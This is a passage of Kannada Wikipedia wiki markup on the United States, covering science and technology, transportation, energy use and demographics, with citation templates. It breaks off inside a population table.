ಬೆಲ್‌]]ನು [[ದೂರವಾಣಿಯ ಅವಿಷ್ಕಾರ|ದೂರವಾಣಿಗಾಗಿನ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪೇಟೆಂಟ್ ಪಡೆದನು.]] [[ಥಾಮಸ್ ಎಡಿಸನ್]] ಪ್ರಯೋಗಾಲಯವು ಮೊಟ್ಟಮೊದಲು [[ಫೊನೊಗ್ರಾಫ್|ಬೆಳಚ್ಚು ಯಂತ್ರ]], [[ತಾಪಜ್ವಲನ ದೀಪದ ಬಲ್ಬ್|ಬೆಳಕಿನ ಬಲ್ಬ್]], ಮತ್ತು ಮೊಟ್ಟಮೊದಲ [[ಕೈನೆಟೋಸ್ಕೋಪ್|ಚಲನೆಯ ಕ್ಯಾಮೆರಾ]]ಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿತು. [[ನಿಕೊಲ ಟೆಸ್ಲಾ|ನಿಕೊಲಾ ಟೆಸ್ಲಾ]]ರವರು [[ಎಸಿ ಮೋಟಾರು|ಎಸಿ ಮೋಟರ್]], [[ರೇಡಿಯೋ]]ಗಳಿಗೆ [[ಪರ್ಯಾಯ ವಿದ್ಯುತ್|ಪರ್ಯಾಯ ವಿದ್ಯುತ್ತ]]ನ್ನು ಕಂಡುಹಿಡಿದರು. 20ನೇ ಶತಮಾನದಲ್ಲಿ [[ರೆನ್ಸನ್ ಈ .ಓಲ್ಡ್ಸ್|ರಾನ್ಸನ್ ಈ. ಓಲ್ಡ್ಸ್]] ಮತ್ತು [[ಹೆನ್ರಿ ಫೊರ್ಡ್|ಹೆನ್ರಿ ಫೋರ್ಡ್‌]]ರವರ ವಾಹನ ತಯಾರಿಕಾ ಕಂಪನಿಗಳು [[ಅಸೆಂಬ್ಲಿ ಲೈನ್|ಸಂಯೋಜನಾ ರೇಖೆ]]ಯನ್ನು ಪ್ರಾರಂಭಿಸಿದವು. [[ರೈಟ್ ಸಹೋದರರು]] 1903ರಲ್ಲಿ [[ಮೊದಲ ಹಾರುವ ಯಂತ್ರ|ಮೊಟ್ಟಮೊದಲು ಗಾಳಿ ಶಕ್ತಿಗಿಂತ ಭಾರವಾದ, ತಾಳಿಕೆಯ ವಿಮಾನ]]ವನ್ನು ಕಂಡುಹಿಡಿದರು.<ref>{{cite web|author=Benedetti, François| url =http://www.fai.org/news_archives/fai/000295.asp| title =100 Years Ago, the Dream of Icarus Became Reality| publisher =Fédération Aéronautique Internationale (FAI)|date=2003-12-17|accessdate=2007-08-15}}</ref> [[ನಾಜಿತತ್ವ|ನಾಝಿಸಂ]]ನ ಹರಡುವಿಕೆಯ ಹೆಚ್ಚಳದಿಂದಾಗಿ 1930ರಲ್ಲಿ [[ಆಲ್ಭರ್ಟ್‌ ಐನ್‌ಸ್ಟೈನ್‌|ಅಲ್ಬರ್ಟ್ ಐನ್‌ಸ್ಟೀನ್]] ಮತ್ತು [[ಎನ್‌ರಿಕ್ ಫೆರ್ಮ್|ಎನ್ರಿಕೋ ಫೆರ್ಮಿ]]ಯಂತಹ ಹಲವು ಯುರೋಪಿಯನ್ ವಿಜ್ಞಾನಿಗಳು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ವಲಸೆ ಬರುವಂತಾಯಿತು. ಎರಡನೇ ಜಾಗತಿಕ ಸಮರದ ಸಮಯದಲ್ಲಿ [[ಮ್ಯಾನ್‌ಹಟ್ಟನ್ ಯೋಜನೆ|ಮ್ಯಾನ್‌ಹಟನ್ ಪ್ರಾಜೆಕ್ಟ್]] ಅಣು ಶಸ್ತ್ರಾಸ್ತ್ರಗಳನ್ನು ಸಿದ್ಧಪಡಿಸುವ ಮೂಲಕ [[ಅಣುಶಕ್ತಿ ಯುಗ|ಅಣು ಸಮಯ]]ವನ್ನು ಆರಂಭಿಸಿತು. [[ಬಾಹ್ಯಾಕಾಶ ಸ್ಪರ್ಧೆ|ಸ್ಪೇಸ್ ರೇಸ್‌]]ನಿಂದಾಗಿ ಅತ್ಯಾಧುನಿಕ ರಾಕೆಟ್‌ಗಳನ್ನು, [[ಮೂಲವಸ್ತುಗಳ ವಿಜ್ಞಾನ|ವೈಜ್ಞಾನಿಕ ಸಾಮಗ್ರಿ]]ಮತ್ತು ಕಂಫ್ಯೂಟರ್‌ಗಳನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಅರ್ಪಾನೆಟ್|ARPNET]]ನ್ನು ಸ್ಥಾಪಿಸಿತು. [[ಅಂತರ್ಜಾಲ|ಇಂಟರ್‌ನೆಟ್‌]] ಇದರ ಯಶಸ್ಸು. ಇಂದು 64%ರಷ್ಟು ಸಂಶೋಧನೆ ಮತ್ತು ಅಭಿವೃದ್ಧಿಯ ಹಣವು ಖಾಸಗೀ ಕ್ಷೇತ್ರದಿಂದ ಹರಿದು ಬರುತ್ತಿದೆ.<ref>{{cite web | url = http://www.census.gov/compendia/statab/tables/08s0775.xls | title = Research and Development (R&D) Expenditures by Source and Objective: 1970 to 2004 | publisher = U.S. Census Bureau | accessdate = 2007-06-19 | archive-date = 2008-10-31 | archive-url = https://web.archive.org/web/20081031141104/http://www.census.gov/compendia/statab/tables/08s0775.xls | url-status = dead }}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನಾ ದಾಖಲೆ ಮತ್ತು [[ಪ್ರಬಾವ ಅಂಶ|ಪರಿಣಾಮದ ಅಂಶ]]ಗಳಿಗೆ ಮಾರ್ಗದರ್ಶ್ಕನಾಗಿದೆ.<ref>{{cite web | url = http://www.guardian.co.uk/education/2006/mar/21/highereducation.uk4 |author=MacLeod, Donald| title = Britain Second in World Research Rankings | date=2006-03-21 | work = Guardian | accessdate = 2006-05-14 }}</ref> ಅಮೆರಿಕವು ಗರಿಷ್ಠಮಟ್ಟದ ತಾಂತ್ರಿಕ ಗ್ರಾಹಕ ಸಾಮಗ್ರಿಗಳನ್ನು ಹೊಂದಿದೆ<ref>{{cite web | url = http://www.nationmaster.com/graph/med_tel_percap-media-televisions-per-capita | title = Media Statistics > Televisions (per capita) by Country | publisher = NationMaster |month=December | year=2003}} {{cite web | url = http://www.nationmaster.com/graph/med_per_com_percap-media-personal-computers-per-capita | title = Media Statistics > Personal Computers (per capita) by Country | publisher = NationMaster |month=December | year=2003}} {{cite web | url = http://www.nationmaster.com/graph/med_rad_percap-media-radios-per-capita | title = Media Statistics > Radios (per capita) by Country | publisher = NationMaster | month = December | year = 2003 | accessdate = 2007-06-03 }}</ref> ಮತ್ತು ಸರಿಸುಮಾರು ಅರ್ಧದಷ್ಟು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕುಟುಂಬಗಳು [[ಬ್ರಾಡ್‌ಬ್ಯಾಂ‌ಡ್ ಅಂತರ್‍ಜಾಲ ಮಾರ್ಗ|ಬ್ರಾಡ್‌ಬ್ಯಾಂಡ್ ಅಂತರ್ಜಾಲವನ್ನು ಹೊಂದಿವೆ]].<ref>{{cite web | url = http://adage.com/digital/article?article_id=116136 | title = Download 2007 Digital Fact Pack | date=2007-04-23| work = Advertising Age | accessdate = 2007-06-10 }}</ref> [[ಜೈವಿಕ ಅಭಿವೃದ್ಧಿತ ಆಹಾರ|ಆನುವಂಶಿಕ ಪರಿವರ್ತಿತ ಆಹಾರ]]ವನ್ನು ಬೆಳೆಯುವ ಮತ್ತು ಅಭಿವೃದ್ಧಿಪಡಿಸುವ ದೇಶವಾಗಿದೆ. ಜಗತ್ತಿನಲ್ಲೇ ಅರ್ಧಕ್ಕಿಂತ ಹೆಚ್ಚು ಭೂಭಾಗದಲ್ಲಿ ಜೈವಿಕ ಬೆಳೆಗಗಲನ್ನು ಅಮೆರಿಕದಲ್ಲಿ ಬೆಳೆಯಲಾಗುತ್ತಿದೆ.<ref>{{cite web | url = http://www.isaaa.org/Resources/Publications/briefs/35/executivesummary/default.html | title = ISAAA Brief 35-2006: Executive Summary—Global Status of Commercialized Biotech/GM Crops: 2006 | publisher = International Service for the Acquisition of Agri-Biotech Applications | accessdate = 2007-06-19 }}</ref> === ಸಾರಿಗೆ === {{Main|Transportation in the United States}} [[ಚಿತ್ರ:Map of current Interstates.svg|thumb|ಅಂತರ್‌ರಾಜ್ಯ ಹೆದ್ದಾರಿ ವ್ಯವಸ್ಥೆ, ವಿಸ್ತಾರ [240][242]]] ಆಟೊಮೊಬೈಲ್‌ಗಳಿಂದ ಪ್ರತಿದಿನದ ಅಮೆರಿಕದ ಸಾರಿಗೆಯು ನಡೆಸಲ್ಪಡುತ್ತಿದೆ. ಯುರೋಪಿಯನ್ ಯೂನಿಯನ್‌ನ ಒಂದು ಸಾವಿರ ನಿವಾಸಿಗಳಿಗೆ 472 ಆಟೊಮೊಬೈಲ್‌ಗಳಂತೆ ಹೋಲಿಸಿದರೆ, 2003ರವರೆಗೆ 759 ಆಟೊಮೊಬೈಲ್‌ಗಳು 1,000 ಅಮೆರಿಕನ್ನರಿಗೆ ಇತ್ತು.<ref>{{cite web | url =http://europa.eu/rapid/pressReleasesAction.do?reference=STAT/06/125| title =Car Free Day 2006: Nearly One Car per Two Inhabitants in the EU25 in 2004| date=2006-09-19|publisher =Europa, Eurostat Press Office| accessdate = 2007-08-15 }}</ref> ಸುಮಾರು ಶೇಕಡಾ ನಲವತ್ತರಷ್ಟು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಯಾತ್ರಿಕರ ವಾಹನ|ಖಾಸಗೀ ವಾಹನ]]ಗಳೆಂದರೆ ವ್ಯಾನ್‌ಗಳು, [[ಕ್ರೀಡೆಗೆ ಉಪಯೋಗಿಸುವ ವಾಹನ|ಎಸ್‌ಯುವಿ]]ಗಳು ಹಾಗೂ ಹಗುರ ವಾಹನಗಳು.<ref>{{cite web|url =http://www.bts.gov/publications/highlights_of_the_2001_national_household_travel_survey/html/section_01.html| title =Household, Individual, and Vehicle Characteristics|publisher =U.S. Dept. of Transportation, Bureau of Transportation Statistics|work =2001 National Household Travel Survey|accessdate = 2007-08-15}}</ref> ಸರಾಸರೀ ಅಮೆರಿಕನ್ ವಯಸ್ಕ ಚಾಲಕರು (ಚಾಲಕರು ಮತ್ತು ಚಾಲಕರಲ್ಲದವರನ್ನೂ ಸೇರಿ) ಸುಮಾರು 55ನಿಮಿಷಗಳನ್ನು ಪ್ರತಿದಿನ ವಾಹನ ಚಾಲನೆಯಲ್ಲಿ ಕಳೆಯುತ್ತಾರೆ.{{convert|29|mi|km|0}}<ref>{{cite web|url =http://www.bts.gov/publications/highlights_of_the_2001_national_household_travel_survey/html/section_02.html| title =Daily Passenger Travel|publisher =U.S. Dept. of Transportation, Bureau of Transportation Statistics|work =2001 National Household Travel Survey|accessdate = 2007-08-15}}</ref> ಸಾರ್ವಜನಿಕ ವಿಮನಯಾನ ಉದ್ಯಮವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಖಾಸಗೀಕಣಗೊಳಿಸಲಾಗಿದೆ. ಇದೇವೇಳೆ ಹಲವು ವಿಮಾನ ನಿಲ್ದಾನಗಳು ಸಾರ್ವಜನಿಕರ ಒಡೆತನದಲ್ಲಿದೆ.. ಅಮೆರಿಕದ ಸಾರ್ವಜನಿಕರಿಂದ ನಿರ್ವಹಿಸಲ್ಪಡುತ್ತಿರುವ ನಾಲ್ಕು ವಿಮಾನಯಾನ ಸಂಸ್ಥೆಗಳಲ್ಲಿ [[ನೈರುತ್ಯ ವಾಯುದಾರಿಗಳು|ಸೌತ್‌ವೆಸ್ಟ್ ವಿಮಾನಯಾನ ಸಂಸ್ಥೆ]]ಯು ಮೊದಲ ಸ್ಥಾನದಲ್ಲಿದೆ.<ref>{{cite web|url=http://www.iata.org/ps/publications/wats-passenger-carried.htm| title =Scheduled Passengers Carried (2008 data)|publisher=International Air Transport Association (IATA)|accessdate=2009-06-27}}</ref> ಜಗತ್ತಿನಲ್ಲಿ ಮೂವತ್ತು ಜನದಟ್ಟಣೆಯ ವಿಮಾನನಿಲ್ದಾಣಗಳಿವೆ. [[ಹಾರ್ಟ್ಸ್‌ಫಿಲ್ಡ್-ಜಾಕ್‌ಸನ್ ಅಟ್ಲಾಂಟ ಅಂತರಾಷ್ಟ್ರೀಯ ವಿಮಾನ ನಿಲ್ದಾಣ|ಜನದಟ್ಟಣೆ]]ಯ ವಿಮಾನ ನಿಲ್ದಾಣಗಳನ್ನೂ ಸೇರಿ ಹದಿನಾರು ವಿಮಾನ ನಿಲ್ದಾಣಗಳು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿವೆ.<ref>{{cite web|url=http://www.airports.org/cda/aci_common/display/main/aci_content07_c.jsp?zn=aci&cp=1-5-54-55_666_2__|title=Passenger Traffic 2006 Final|publisher=Airports Council International|date=2007-07-18|accessdate=2007-08-15}}</ref> ಇದೇವೇಳೆ ರೈಲಿನ ಮೂಲಕ ಸಾಮಗ್ರಿಗಳನ್ನು ಸಾಗಾಟ ಮಾಡುವುದೂ ಕೂಡಾ ವ್ಯಾಪಕವಾಗಿದೆ. ತುಂಬ ಕಡಿಮೆ ಜನ ನಗರಗಳ ಮಧ್ಯೆ ಅಥವಾ ನಗರಗಳಲ್ಲಿನ ಪ್ರಯಾಣಕ್ಕೆ ರೈಲನ್ನು ಉಪಯೋಗಿಸುತ್ತಾರೆ.<ref>{{cite web | url = http://www.gao.gov/products/GAO-07-15 | title = Intercity Passenger Rail: National Policy and Strategies Needed to Maximize Public Benefits from Federal Expenditures| date=2006-11-13| publisher = U.S. Government Accountability Office| accessdate = 2007-06-20 }}</ref> ಯುರೋಪ್‌ಗೆ ಹೋಲಿಸಿದರೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಶೇಕಡಾ 9ರಷ್ಟು ಮಾತ್ರ [[ಸಾರ್ವಜನಿಕ ಸಾರಿಗೆ|ಸಮೂಹ ಸಾರಿಗೆ]]ಯಿದೆ.<ref>{{cite web | url = http://www.policy.rutgers.edu/vtc/documents/TOD.Euro-Style_Planning-Renne-Wells.pdf |format=PDF|author=Renne, John L., and Jan S. Wells| title = Emerging European-Style Planning in the United States: Transit-Oriented Development (p. 2) | year=2003 | publisher = Rutgers, The State University of New Jersey | accessdate = 2007-06-11}}</ref> ಯುರೋಪಿಯನ್ನರ ಉಪಯೋಗದ ಮಟ್ಟಕ್ಕಿಂತ ಬೈಸಿಕಲ್ ಉಪಯೋಗದ ಮಟ್ಟ ಕಡಿಮೆಯಿದೆ.<ref>{{cite web | url =http://www.transalt.org/files/resources/other/010901TQpdf021.pdf|author=Pucher, John, and Lewis Dijkstra| title = Making Walking and Cycling Safer: Lessons from Europe | month=February | year=2000| publisher = Transportation Alternatives |work=Transportation Quarterly | accessdate = 2007-08-15}}</ref> === ಶಕ್ತಿ === {{Main|Energy in the United States}} {{seealso|Energy policy of the United States}} ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಶಕ್ತಿಯ ಮಾರುಕಟ್ಟೆಯು ಪ್ರತೀವರ್ಷಕ್ಕೆ ೨೯,೦೦೦ [[ವ್ಯಾಟ್-ಹವರ್|ಟೆರ್ರಾವ್ಯಾಟ್ ಗಂಟೆ]]ಗಳಾಗಿದೆ. ಜರ್ಮನಿಯ 4.2ಟನ್ ಮತ್ತು ಕೆನಡಾದ 8.3 ಟನ್‌ಗೆ ಹೋಲಿಸಿದರೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಪ್ರತಿ ವ್ಯಕ್ತಿಯ ಶಕ್ತಿ ಬಳಕೆಗೆ ಅನುಗುಣವಾಗಿ ದೇಶಗಳ ಪಟ್ಟಿ|ಶಕ್ತಿ ಬಳಕೆಯು ಪ್ರತೀ ಮನುಷ್ಯ]]ನಮೇಲೆ, ಪ್ರತೀ ವರ್ಷದ ತೈಲದ ಸರಿಸಮವಾಗಿ 7.8 ಟನ್ ಆಗಿದೆ. 2005ರಲ್ಲಿ ಶೇಕಡಾ 40ರಷ್ಟು ಶಕ್ತಿಯು ಪೆಟ್ರೋಲಿಯಂನಿಂ, ಶೇಕಡಾ 23 ಕಲ್ಲಿದ್ದಲಿನಿಂದ ಮತ್ತು ಶೇಕಡಾ 22ರಷ್ಟು ನೈಸರ್ಗಿಕ ಅನಿಲದಿಂದ ಉತ್ಪನ್ನವಾಗಿದೆ. ಇನ್ನುಳಿದವು ಅಣು ಶಕ್ತಿಯಿಂದ ಮತ್ತು [[ನವೀಕರಿಸಬಲ್ಲ ಶಕ್ತಿ|ನವೀಕರಿಸಬಹುದಾದ ಮೂಲ]]ಗಳಿಂದ ಪುರೈಸಲಾಗುತ್ತಿದೆ.<ref>{{cite web |url=http://www.eia.doe.gov/emeu/aer/pdf/pages/sec1_3.pdf|title= Diagram 1: Energy Flow, 2007|work=EIA Annual Energy Review 2007 |publisher=U.S. Dept. of Energy, Energy Information Administration|accessdate=2008-06-25}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನಲ್ಲೇ ಅತೀ ದೊಡ್ಡ ಪೆಟ್ರೋಲಿಯಂನ ಗ್ರಾಹಕ.<ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2174rank.html|title=Rank Order—Oil (Consumption)|publisher=CIA|work=The World Factbook|date=2007-09-06|accessdate=2007-09-14|archive-date=2013-05-04|archive-url=https://web.archive.org/web/20130504153025/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2174rank.html|url-status=dead}}</ref> ಇತರ ಅಭಿವೃದ್ಧಿಯುತ ದೇಶಗಳಿಗೆ ಸಂಬಂಧಿಸಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪರಮಾಣು ಶಕ್ತಿ|ಅಣು ಶಕ್ತಿ]]ಯು ಹಲವು ದಶಕಗಳಿಂದ ಸೀಮಿತ ಪಾತ್ರ್ವನ್ನು ನಿರ್ವಹಿಸುತ್ತಿದೆ. 2007ರಲ್ಲಿ ಹಲವಾರು ಅಹವಾಲುಗಳನ್ನು ಅಣು ಶಕ್ತಿಯ ಘಟಕಗಳಿಗಾಗಿ ಸಲ್ಲಿಸಲಾಗಿದೆ.<ref>{{cite news |url=http://www.economist.com/science/displaystory.cfm?story_id=9762843|title= Atomic Renaissance|work=Economist|accessdate=2007-09-06}}</ref> == ಜನಾಂಗ ಅಧ್ಯಯನ == {{Main|Demographics of the United States}} {{seealso|Immigration to the United States}} [[ಚಿತ್ರ:Census-2000-Data-Top-US-Ancestries-by-County-1396x955.png|thumb|right|ಕೌಂಟಿಯ ಅತಿ ದೊಡ್ಡ ವಂಶಾವಳಿಯ ಗುಂಪು, 2000]] ಅಂದಾಜು 11.2 ಮಿಲಿಯನ್‌ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಕಾನೂನು ಬಾಹಿರ ವಲಸೆಗಾರರು|ಅಕ್ರಮ ವಲಸೆಗಾರ]]ರನ್ನೂ ಸೇರಿ,{{uspop commas}} <ref name="POP">{{cite web|url=http://www.census.gov/population/www/popclockus.html|publisher=U.S. Census Bureau|title=U.S. POPClock Projection}}ಫಿಗರ್ ಅಪ್‌ಡೇಟೆಡ್ ಅಟೊಮೇಟಿಕಲಿ.</ref>ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿ ಬ್ಯೂರೋ ಮೂಲಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಸಂಖ್ಯೆಯು ಪ್ರಾಯೋಜಿಸಲ್ಪಡುತ್ತಿದೆ.<ref>{{cite web | url = http://www.cis.org/articles/2008/back808.pdf| author =Camarota, Steven A., and Karen Jensenius | title = Homeward Bound: Recent Immigration Enforcement and the Decline in the Illegal Alien Population | month =July | year =2008| publisher = Center for Immigration Studies | accessdate = 2008-08-06}}</ref> ಚೀನಾ ಮತ್ತು ಭಾರತದ ನಂತರ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನ ಮೂರನೇ ಅತಿ ಹೆಚ್ಚು ಜನಸಂಖ್ಯೆಯ ದೇಶವಾಗಿದೆ. ಯುರೋಪಿಯನ್ ಯೂನಿಯನ್ನರ 0.16% ಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಇಲ್ಲಿನ [[ಜನಸಂಖ್ಯಾ ಬೆಳವಣಿಗೆ]] ದರವು 0.89% ಆಗಿದೆ.<ref name="WF"/><ref>{{cite web| url = https://www.cia.gov/library/publications/the-world-factbook/geos/ee.html| title = European Union| publisher = CIA| work = The World Factbook| date = 2007-05-31| accessdate = 2007-06-15| archive-date = 2020-06-11| archive-url = https://web.archive.org/web/20200611111527/https://www.cia.gov/library/publications/the-world-factbook/geos/ee.html| url-status = dead}}</ref> 1,000 ಜನರಿಗೆ [[ಜನನ ಪ್ರಮಾಣ|ಜನನ ದರ]]ವು 14.16 ಆಗಿದೆ. ಇದು ಜಗತ್ತಿನ ಸರಾಸರಿಯ ಶೇಕಡಾ ಮೂವತ್ತು ಕಡಿಮೆಯಾಗಿದೆ. ಮತ್ತು [[ಅಲ್ಬೇನಿಯಾ]] ಮತ್ತು [[ಐರ್‌ಲೆಂಡ್‌ ಗಣರಾಜ್ಯ|ಐರ್‌ಲ್ಯಾಂಡಿ]]ನಂತಹ ಯುರೋಪಿಯನ್ ದೇಶಗಳಿಗಿಂತ ಹೆಚ್ಚಿನದಾಗಿದೆ.<ref>{{cite web| url = https://www.cia.gov/library/publications/the-world-factbook/rankorder/2054rank.html| title = Rank Order—Birth Rate| publisher = CIA| work = The World Factbook| date = 2007-05-31| accessdate = 2007-06-13| archive-date = 2013-03-09| archive-url = https://web.archive.org/web/20130309174328/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2054rank.html| url-status = dead}}</ref> 2008ರ ಹಣಕಾಸಿನ ವರ್ಷದಲ್ಲಿ 1.1ಮಿಲಿಯನ್‌ ವಲಸೆಗಾರರು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಖಾಯಂ ಗೃಹ ಚೀಟಿ|ನ್ಯಾಯಸಮ್ಮತ ವಸತಿ]]ಗೆ ಅರ್ಹರಾಗಿದ್ದಾರೆ.<ref> [http://www.dhs.gov/xlibrary/assets/statistics/publications/lpr_fr_2008.pdf "ಯು.ಎಸ್. ಲೀಗಲ್ ಪರ್ಮನೆಂಟ್ ರೆಸಿಡೆಂಟ್ಸ್: 2008"][[ವಲಸೆಗಾರರ ಅಂಕಿಅಂಶ ಕಛೆರಿ|ಆಫೀಸ್ ಆಫ್ ಇಮ್ಮಿಗ್ರೇಶನ್ ಸ್ಟಾಟಿಸ್ಟಿಕ್ಸ್]] ''ಎನ್ಯುವಲ್ ಫ್ಲೋ ರಿಪೋರ್ಟ್.'' </ref> ಕಳೆದೆರಡು ದಶಕಗಳಿಂದ ಮೆಕ್ಸಿಕೋ ದೇಶವು ಹೊಸ ವಸತಿದಾರರಿಗೆ ಬಹು ಮುಖ್ಯ ಮೂಲವಾಗಿದೆ. 1998ರಿಂದೀಚೆಗೆ ಚೀನಾ, ಭಾರತ ಮತ್ತು ಫಿಲಿಪ್ಪೀನ್ಸ್ ದೇಶಗಳು ನಾಲ್ಕನೇ ದೊಡ್ಡ, ಪ್ರತೀವರ್ಷ ವಲಸಿಗರನ್ನು ಕಳುಹಿಸುವ ದೇಶವಾಗಿದೆ.<ref>{{cite web|url = http://www.dhs.gov/ximgtn/statistics/publications/LPR07.shtm|title=Persons Obtaining Legal Permanent Resident Status by Region and Country of Birth: Fiscal Years 1998 to 2007 (Table 3)|publisher=U.S. Dept. of Homeland Security|accessdate=2008-09-06}}</ref> ಅತೀಹೆಚ್ಚು ಜನಸಂಖ್ಯೆಯ ಬೆಳವಣಿಗೆಯು ಸಂಯೋಜಿಸಲ್ಪಡುವ ಔದ್ಯಮಿಕ ದೇಶವೆಂದರೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವೊಂದೇ.<ref name="PRC">{{cite web|url=http://www.prcdc.org/summaries/uspopperspec/uspopperspec.html|title=Executive Summary: A Population Perspective of the United States|publisher=Population Resource Center|month=May|year=2000|accessdate=2007-12-20|archiveurl=https://web.archive.org/web/20070604165856/http://www.prcdc.org/summaries/uspopperspec/uspopperspec.html|archivedate=2007-06-04|url-status=live}}</ref> ಮಿಲಿಯನ್‌ ಸದಸ್ಯರಿಗಿಂತಲೂ ಹೆಚ್ಚಿರುವ ಮೂವತ್ತೊಂದು [[ಅಮೆರಿಕದ ವಂಶಾವಳಿ ನಕ್ಷೆ|ವಂಶ]]ವನ್ನು ಹೊಂದಿರುವ, ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ತುಂಬಾ [[ಬಹುಜನಾಂಗೀಯ ಸಮಾಜ|ವಿಭಿನ್ನವಾದ ಜನಸಂಖ್ಯೆ]]ಯನ್ನು ಹೊಂದಿದೆ.<ref name="An2000">{{cite web|url=http://www.census.gov/prod/2004pubs/c2kbr-35.pdf|title=Ancestry 2000|publisher=U.S.Census Bureau|month=June|year=2004|accessdate=2007-06-13}}</ref> [[ಬಿಳಿಯ ಅಮೆರಿಕನ್ನರು|ಬಿಳಿ ಅಮೆರಿಕನ್ನರು]] ಬಹದೊಡ್ಡ [[ಜನಾಂಗ (ಮನುಷ್ಯ ಜೀವಿಗಳ ವಿಂಗಡನೆ)|ಬುಡಕಟ್ಟು ಜನಾಂಗ]]ವಾಗಿದ್ದಾರೆ. ಜೊತೆಗೆ [[ಜರ್ಮನ್‌ ಅಮೆರಿಕನ್ನರು|ಜರ್ಮನ್ ಅಮೆರಿಕನ್ನರು]], [[ಐರಿಷ್ ಅಮೆರಿಕನ್ನರು]] ಮತ್ತು [[ಇಂಗ್ಲಿಷ್ ಅಮೆರಿಕನ್ನರು|ಇಂಗ್ಲಿಷ್ ಅಮೆರಿಕನ್ನ]]ರೆಂಬ ಮೂರು ಗುಂಪುಗಳು ದೇಶದ ಸಂತತಿಯ ಗುಂಪುಗಳಾಗಿವೆ.<ref name="An2000"/> [[ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್|ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ನರು]] ದೇಶದ [[ಅಲ್ಪಸಂಖ್ಯಾತ ಗುಂಪು|ಬುಡಕಟ್ಟು ಅಲ್ಪಸಂಖ್ಯಾತ]]ರಾಗಿದ್ದಾರೆ ಮತ್ತು ಮೂರನೇ ದೊಡ್ಡ ಸಂತತಿಯಾಗಿದ್ದಾರೆ.<ref name="An2000"/><ref name="Cen2008">{{cite web|url=http://www.census.gov/popest/national/asrh/NC-EST2008-srh.html|title=Annual Estimates of the Population by Sex, Race, and Hispanic Origin for the United States: April 1, 2000 to July 1, 2008 (NC-EST2008-03)| publisher = U.S. Census Bureau, Population Division | date = 2009-05-01| accessdate = 2009-07-23}}</ref> [[ಏಷ್ಯಾದ ಅಮೆರಿಕನ್ನರು|ಏಷ್ಯದ ಅಮೆರಿಕನ್ನರು]] ದೇಶದ ಎರಡನೇ ದೊಡ್ಡ ಬುಡಕಟ್ಟು ಅಲ್ಪಸಂಖ್ಯಾತರಾಗಿದ್ದಾರೆ. ಎರಡು ಏಷ್ಯದ ಜನಾಂಗೀಯ ಗುಂಪುಗಳೆಂದರೆ [[ಚೀನಾದ ಅಮೆರಿಕನ್ನರು|ಚೈನೀಸ್ ಅಮೆರಿಕನ್ನರು]] ಮತ್ತು [[ಫಿಲಿಪಿನೋ ಅಮೆರಿಕನ್ನರು|ಫಿಲಿಪಿನೋ ಅಮೆರಿಕನ್ನ]]ರಾಗಿದ್ದಾರೆ.<ref name="An2000"/> 2008ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಸಂಖ್ಯೆಯು ಅಂದಾಜು, 4.9 ಮಿಲಿಯನ್‌ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು|ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್]] ಜನರನ್ನೂ ಅಥವಾ [[ಅಲಸ್ಕಾ ಸ್ಥಳಿಯರು|ಅಲಾಸ್ಕದ ಸ್ಥಳೀಯ]] ಸಂತತಿಯನ್ನೂ (3.1 ಮಿಲಿಯನ್‌ ಈ ರೀತಿಯ ವಿಶೇಷ ಸಂತತಿಯವರನ್ನು) ಮತ್ತು 1.1 ಮಿಲಿಯನ್ [[ಹವಾಯಿಯ ಸ್ಥಳೀಯರು|ಸ್ಥಳೀಯ ಹವಾಯಿ]] ಜನರನ್ನೂ ಅಥವಾ [[ಪೆಸಿಫಿಕ್ ದ್ವೀಪದವರು|ಪೆಸಿಫಿಕ್ ದ್ವೀಪ]]ದ ಸಂತತಿಯನ್ನು (0.6 ಮಿಲಿಯನ್ ಜನರನ್ನು ವಿಶೇಷವಾಗಿ) ಹೊಂದಿದೆ.<ref name="Cen2008"/> <div style="font-size:90%"> {| class="wikitable" border="1" style="border:1px black;float:right;margin-left:1em" |- ! style="background:#f99" colspan="2"|ಜನಾಂಗ/ಜನಾಂಗೀಯತೆ(2008)<ref name="Cen2008"/> |- | [[ಬಿಳಿಯ ಅಮೆರಿಕನ್ನರು|ಬಿಳಿಯರು]] | 79.8% |- | [[ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ನರು|ಅಮೆರಿಕಾದ ನೀಗ್ರೋ]] | 12.8% |- | [[ಏಷ್ಯಾದ ಅಮೆರಿಕನ್ನರು|ಏಷ್ಯದ ಅಮೆರಿಕನ್ನರು]] | 4.5% |- | 